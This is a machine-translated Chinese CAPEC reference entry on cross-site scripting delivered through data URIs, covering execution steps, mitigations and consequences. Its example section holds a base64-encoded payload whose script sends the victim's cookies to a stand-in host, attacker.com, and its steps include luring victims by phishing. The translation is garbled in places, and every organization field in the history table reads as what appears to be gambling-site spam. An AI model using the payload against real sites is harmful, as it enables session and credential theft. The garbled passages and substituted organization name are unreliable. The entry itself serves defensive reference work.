描述
这种类型的攻击利用的能力,大多数浏览器解释“数据”,“javascript”或其他URI方案客户端可执行内容占位符。这种攻击包括通过恶意URI在锚标记HREF属性或任何其他类似的属性的HTML标记。这种恶意URI包含,例如,base64编码的HTML内容与嵌入式跨站点脚本有效载荷。这次袭击是在恶意的内容即当浏览器解释执行。例如,当受害者点击恶意链接。
攻击的可能性
典型的严重性
的关系
此表显示了其他的攻击模式和高水平类别相关的这种攻击模式。这些关系被定义为ChildOf ParentOf,给类似的项目可能存在的洞察力在较高和较低的抽象级别。此外,关系如光束,PeerOf, CanAlsoBe定义显示类似的攻击模式,用户可能想要探索。
自然 |
类型 |
ID |
的名字 |
ChildOf |
详细的攻击模式-一个详细级别攻击模式CAPEC提供了一个低水平的细节,通常利用一个特定的技术和针对特定的技术,并表达一个完整的执行流程。详细的攻击模式比元更具体的攻击模式和标准的攻击模式,通常需要一个特定的保护机制来减轻实际攻击。详细的级别攻击模式通常会利用许多不同的标准水平攻击模式链接在一起来完成一个目标。 |
588年 |
基于dom的XSS |
ChildOf |
详细的攻击模式-一个详细级别攻击模式CAPEC提供了一个低水平的细节,通常利用一个特定的技术和针对特定的技术,并表达一个完整的执行流程。详细的攻击模式比元更具体的攻击模式和标准的攻击模式,通常需要一个特定的保护机制来减轻实际攻击。详细的级别攻击模式通常会利用许多不同的标准水平攻击模式链接在一起来完成一个目标。 |
591年 |
反映XSS |
ChildOf |
详细的攻击模式-一个详细级别攻击模式CAPEC提供了一个低水平的细节,通常利用一个特定的技术和针对特定的技术,并表达一个完整的执行流程。详细的攻击模式比元更具体的攻击模式和标准的攻击模式,通常需要一个特定的保护机制来减轻实际攻击。详细的级别攻击模式通常会利用许多不同的标准水平攻击模式链接在一起来完成一个目标。 |
592年 |
存储XSS |
此表显示了这种攻击模式的观点属于和顶级类别内的这一观点。
执行流程
探索
调查申请用户可控的输入:使用浏览器或一个自动化工具,敌人之前所有公共和行动在一个网站的链接。他们记录所有的链接、表单、资源访问web应用程序和所有其他可能的切入点之一。
技术 |
使用搜索工具和记录所有的链接。特别注意任何链接,包括参数的URL。 |
使用一个代理工具来记录所有的链接访问web应用程序的手册中遍历。特别注意任何链接,包括参数的URL。这种类型的手工遍历经常需要识别形式GET方法而不是POST形式形式。 |
网站使用浏览器手动探索和分析它是如何构建的。许多浏览器的插件可以促进分析或自动发现的URL。 |
实验
探针识别潜在入口点反映了XSS漏洞:对手使用入口点聚集在“探索”阶段作为目标列表和注入各种载荷的数据URI方案使用基本可以确定一个入口点实际上代表一个脆弱和描述在多大程度上可以利用的漏洞。
技术 |
使用XSS探针的列表字符串中使用不同的URI方案注入参数已知的url。如果可能的话,探测器字符串包含一个唯一标识符跟踪注入的字符串返回到入口点。 |
使用一个代理工具记录结果XSS探针的手工输入url。 |
工艺恶意XSS URL:一旦对手确定哪些参数是容易受到XSS,他们将工艺包含XSS攻击的恶意URL。敌人可以有许多目标,从窃取会话id,饼干,凭据和页面内容的受害者。
技术 |
改变一个URL参数包含恶意代码格式化的URI方案,或使用URI方案时返回的URL作为web应用程序的输入。 |
从恶意脚本收集的信息发送到远程端点。 |
利用
让受害者点击网址:为了成功的攻击,受害者需要访问恶意URL。
技术 |
网络钓鱼电子邮件发送到包含恶意URL的受害者。这可以隐藏在一个超链接不显示完整的URL,这可能会引起怀疑。 |
把恶意URL放在一个公共论坛,很多受害者可能会意外地点击链接。 |
先决条件
目标客户端软件必须允许脚本如JavaScript和允许使用数据URI方案可执行内容交付。 |
技能要求
所需资源
后果
这个表指定不同的个体与攻击模式相关的后果。范围确定违反了安全属性,而影响了负面的技术影响,如果敌人成功的攻击。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能有高可能性模式将被用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 |
影响 |
可能性 |
完整性 |
修改数据 |
|
保密 |
读取数据 |
|
授权 |
执行未经授权的命令 |
|
问责制
身份验证
授权
不可抵赖性 |
获得特权 |
|
访问控制
授权 |
旁路保护机制 |
|
缓解措施
设计:使用浏览器技术,不允许客户端脚本。 |
设计:利用严格的类型、字符和编码执行。 |
实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 |
实现:确保所有内容来自客户端使用相同的编码;如果不是,服务器端应用程序必须规范化数据在应用任何过滤。 |
实现:对所有远程执行输入验证内容,包括远程和用户生成内容 |
实现:对所有远程执行输出验证的内容。 |
实现:在浏览器中禁用脚本语言JavaScript等 |
实现:修补软件。有很多对XSS攻击向量在客户端和服务器端。许多浏览器漏洞被固定在服务包,web服务器、和插入技术,保持当前处理XSS对策,缓解了这一补丁发布。 |
例子,实例
负载数据如下:
text / html, base64 PGh0bWw + PGJvZHk + PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk + PC9odG1sPg = = 代表一个base64编码的HTML和使用数据URI方案交付给浏览器。 解码载荷如下HTML代码:
Web应用程序需要用户输入和控制反映它们在URI HTML占位符没有一个适当的确认是这样的攻击的风险。 敌人可以注入之前的有效载荷,将放置在一个URI占位符(例如锚标记的HREF属性):
< a href = " INJECTION_POINT " > < / >我的链接 一旦受害者点击链接时,浏览器将解码和执行负载的内容。这将得到执行的跨站点脚本攻击。 |
引用
内容的历史
提交 |
提交日期 |
提交者 |
组织 |
2014-06-23
(版本2.6) |
CAPEC内容团队 |
manbetx客户端首页 |
|
修改 |
修改日期 |
修饰符 |
组织 |
2017-05-01
(版本2.10) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Related_Attack_Patterns Related_Weaknesses |
2018-07-31
(版本2.12) |
CAPEC内容团队 |
manbetx客户端首页 |
更新的引用 |
2019-04-04
(版本3.1) |
CAPEC内容团队 |
manbetx客户端首页 |
更新后的后果,Related_Weaknesses |
2020-07-30
(版本3.3) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Execution_Flow |
2022-02-22
(版本3.7) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Example_Instances Execution_Flow |
2022-09-29
(版本3.8) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Example_Instances |
以前的条目名称 |
改变日期 |
以前的条目名称 |
2017-05-01
(版本2.10) |
跨站点脚本通过URI编码方案 |
|
|